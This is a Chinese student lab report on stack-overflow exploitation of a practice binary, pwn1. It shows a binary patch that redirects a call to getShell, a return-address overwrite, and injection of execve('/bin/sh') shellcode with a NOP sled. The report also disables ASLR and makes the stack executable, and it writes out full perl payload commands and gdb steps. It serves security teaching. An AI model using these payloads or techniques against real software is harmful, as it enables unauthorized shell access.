1.实践内容
1.1 手工修改可执行文件跳转至 getShell
- 使用
objdump反汇编定位目标函数地址与call指令位置。 - 通过
xxd将二进制转换为十六进制,修改机器码中的相对偏移(如将d7 ff改为c3 ff),再转换回原格式。 - 理解
call指令的机器码格式及偏移量计算方法(目标地址 – 当前指令下一条地址)。
1.2 利用栈溢出覆盖返回地址触发 getShell
- 分析函数栈帧:缓冲区(
ebp-0x1c)与返回地址(ebp+4)之间的偏移(本例为 32 字节)。 - 用
gdb输入特征字符串验证偏移量(观察EIP被覆盖的值)。 - 构造 payload:填充 32 字节 +
getShell地址(小端序),通过(cat payload; cat) | ./pwn注入并获得 shell。
1.3 注入自定义 shellcode 并执行
- 关闭 ASLR(
echo 0 > /proc/sys/kernel/randomize_va_space)并用execstack -s设置栈可执行。 - 编写或生成
execve("/bin/sh")的 shellcode,并在其前添加 NOP sled 提高命中率。 - 使用
gdb attach调试,在ret断点处查看栈顶指针esp,定位 shellcode 在栈中的实际起始地址。 - 最终 payload 结构:32 字节填充 + 返回地址(指向 NOP sled 或 shellcode 起始)+ NOP sled + shellcode。
2.实践过程
本次实践的对象是一个名为pwn1的linux可执行文件。
该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。
三个实践内容如下:
2.1 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
① 根据作业要求,把主机或者是文件改为跟本人相关的数据,输入命令hostname fxf修改虚拟机主机名为fxf:

② 在将主机名修改为 fxf 之后,执行 sudo su 时系统无法解析主机名 fxf,导致 sudo 报错。同时出现 audit plugin 初始化错误,通常是因为 /etc/hosts 文件中缺少新主机名的映射
修复主机名解析
在 /etc/hosts 文件中添加 fxf 的解析记录:
echo "127.0.0.1 localhost fxf" >> /etc/hosts
echo "::1 localhost fxf" >> /etc/hosts
运行以下命令检查 /etc/sudoers 是否有语法错误:
visudo -c
重新加载 sudo 配置
sudo -k # 清除缓存的凭证
sudo su # 重新测试

修改 /etc/hostname 文件,确保重启后主机名依然为 fxf
echo "fxf" > /etc/hostname

③ 打开学习通的文件拉入kali中,修改pwn1文件名为pwn1_20253915,并输入命令objdump -d pwn1_20253915 | more查看其信息

④ 此时的main函数调用foo函数(8048491)

⑤ 假如想要调用getshell函数,需将其修改为804847d,输入命令vim pwn1_20253915对该文件进行编辑

⑥ 输了入命令:%!xxd,把上面的数据格式改为16进制

⑦ 找到上述函数调用位置如下:

⑧ 将上面的 d7ff 改为 c3ff

⑨ 再去输入命令:%!xxd -r,转换成为原来的格式,保存并退出

操作时误触了ctrl+Z导致进程挂起

查看当前所有挂起的作业(jobs)、使用 fg 命令(foreground)将最近挂起的作业恢复到前台:进入 vim 后,按以下键正常保存并退出:
保存并退出:按 Esc 确保退出插入模式,然后输入 :wq 并回车。
不保存强制退出::q! 并回车。
⑩ 验证一下,再次输入命令objdump -d pwn1_20253915 | more查看其信息

⑪ 对已修改文件运行,成功执行了getshell,其获取系统权限
./pwn1_20253915

2.2 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
① 安装gdb,使用sudo apt update和sudo apt install gdb命令安装gdb

② 输入gdb,检查gdb是否安装成功。

注意:先要还原原文件
③ 命令行输入命令objdump -d pwn20253915 | more查看函数的详细信息
缓冲区的起始地址是 ebp - 0x1c
返回地址的地址是 ebp + 4
两者之间的字节数差就是:偏移量 = (ebp + 4) - (ebp - 0x1c) = 0x20 = 32字节

④ 使用gdb工具调试程序。再输入r运行。当输入 1111111122222222333333334444444455555555 时可以看到eip的值为0x35353535
gdb pwn20253915

⑤ 输入字符串 1111111122222222333333334444444412345678,那 1234这四个数最终会覆盖到堆栈上的返回地址。因此只要把这四个字符替换为getShell的内存地址,程序就会运行getShell。

⑥ 前面已经确定getShell地址:0x0804847d,因此要输入11111111222222223333333344444444\x7d\x84\x04\x08。将要写入的字符串存到20253915fxf_input文件中。
perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > 20253915fxf_input
xxd 20253915fxf_input

⑦ 将20253915fxf_input中的内容注入到pwn20253915中。输入常见指令测试是否拿到shell,成功!
(cat 20253915fxf_input; cat) | ./pwn20253915

2.3 注入一个自己制作的shellcode并运行这段shellcode。
实验的核心思路是将 Shellcode 作为攻击载荷的一部分,注入到存在漏洞的程序中。程序由于缓冲区溢出漏洞,其返回地址会被我们覆盖,从而跳转到栈上的 Shellcode 并执行
① 安装工具execstack_0.0.20131005-1.1_amd64.deb,先下载再解压。
wget http://mirrors.aliyun.com/ubuntu/pool/universe/p/prelink/execstack_0.0.20131005-1.1_amd64.deb
sudo dpkg -i execstack_0.0.20131005-1.1_amd64.deb

② 设置pwn20252804程序堆栈可执行,并进一步查询是否设置成功。
execstack -s pwn20253915
execstack -q pwn20253915

③ 查看地址随机化的状态,需要关闭地址随机化。输出为0代表已关闭
more /proc/sys/kernel/randomize_va_space
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

④ 使用输出重定向将perl生成的字符串存储到input_20253915文件中:
perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_20253915

⑤ 文件payload完成初始注入(触发漏洞),终端stdin接管后续输入(维持交互式会话)。再开一个终端2查看pwn20253915进程号为525631
#终端1
(cat input_20253915;cat) | ./pwn20253915
#终端2
ps -ef | grep pwn20253915

⑥ 再开一个终端3对pwn20253915文件进行gdb调试。在ret处设置断点,ret的位置是0x080484ae。
gdb pwn20253915
attach 525631
disassemble foo
break *0x080484ae

⑦ 终端1((cat input_20253915;cat) | ./pwn20253915)按回车后,再终端3输入c继续运行。查看栈顶指针所在的位置为0xffffd11c,0x01020304为返回地址的位置。shellcode的地址为栈顶指针的地址 + 4 = 0xffffd120
info r esp
x/16x 0xffffd11c

⑧ 退出gbd调试,重新构造 input_20253915文件。并输入常见指令测试是否拿到shell,成功!
perl -e 'print "A" x 32;print "**\x20\xd1\xff\xff**\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_20253915
(cat input_20253915;cat) | ./pwn20253915

3.学习中遇到的问题及解决
- 问题1:改主机名失败
- 问题1解决方案:/etc/hosts 文件中缺少新主机名的映射
- 问题2:使用 vim 编辑二进制文件时误触 Ctrl+Z 导致进程挂起
- 问题2解决方案:输入 jobs 查看挂起任务。使用 fg 将 vim 恢复到前台。
- 问题3:构造 shellcode 注入时,gdb attach 后找不到 shellcode 实际地址
- 问题3解决方案:在 gdb 中先在 foo 的 ret 指令处设置断点(地址 0x080484ae)。终端1按回车触发断点,gdb 中执行 c 继续。使用 info r esp 查看栈顶指针,再用 x/16x $esp 查看栈内容,找到 shellcode 中的标志字节(如 0x01020304 或 \x90\x90)。根据栈布局,shellcode 实际起始地址 = esp + 4(因为返回地址占 4 字节)。
4.实践总结
本次实践通过对存在栈溢出漏洞的 pwn1 程序进行三种不同层次的攻击(手工修改机器码跳转至隐藏函数、利用缓冲区溢出覆盖返回地址执行已有代码、注入自定义 shellcode 并获得交互式 shell),深入理解了函数调用栈布局、指令机器码与反汇编、NOP 滑板、地址随机化关闭及栈可执行权限设置等核心概念,熟练掌握了 objdump、gdb、xxd、perl、execstack 等工具的使用方法,并成功解决了主机名解析、偏移量定位、shellcode 地址调试等一系列实际问题,为后续更高级的漏洞利用技术奠定了坚实的实践基础。
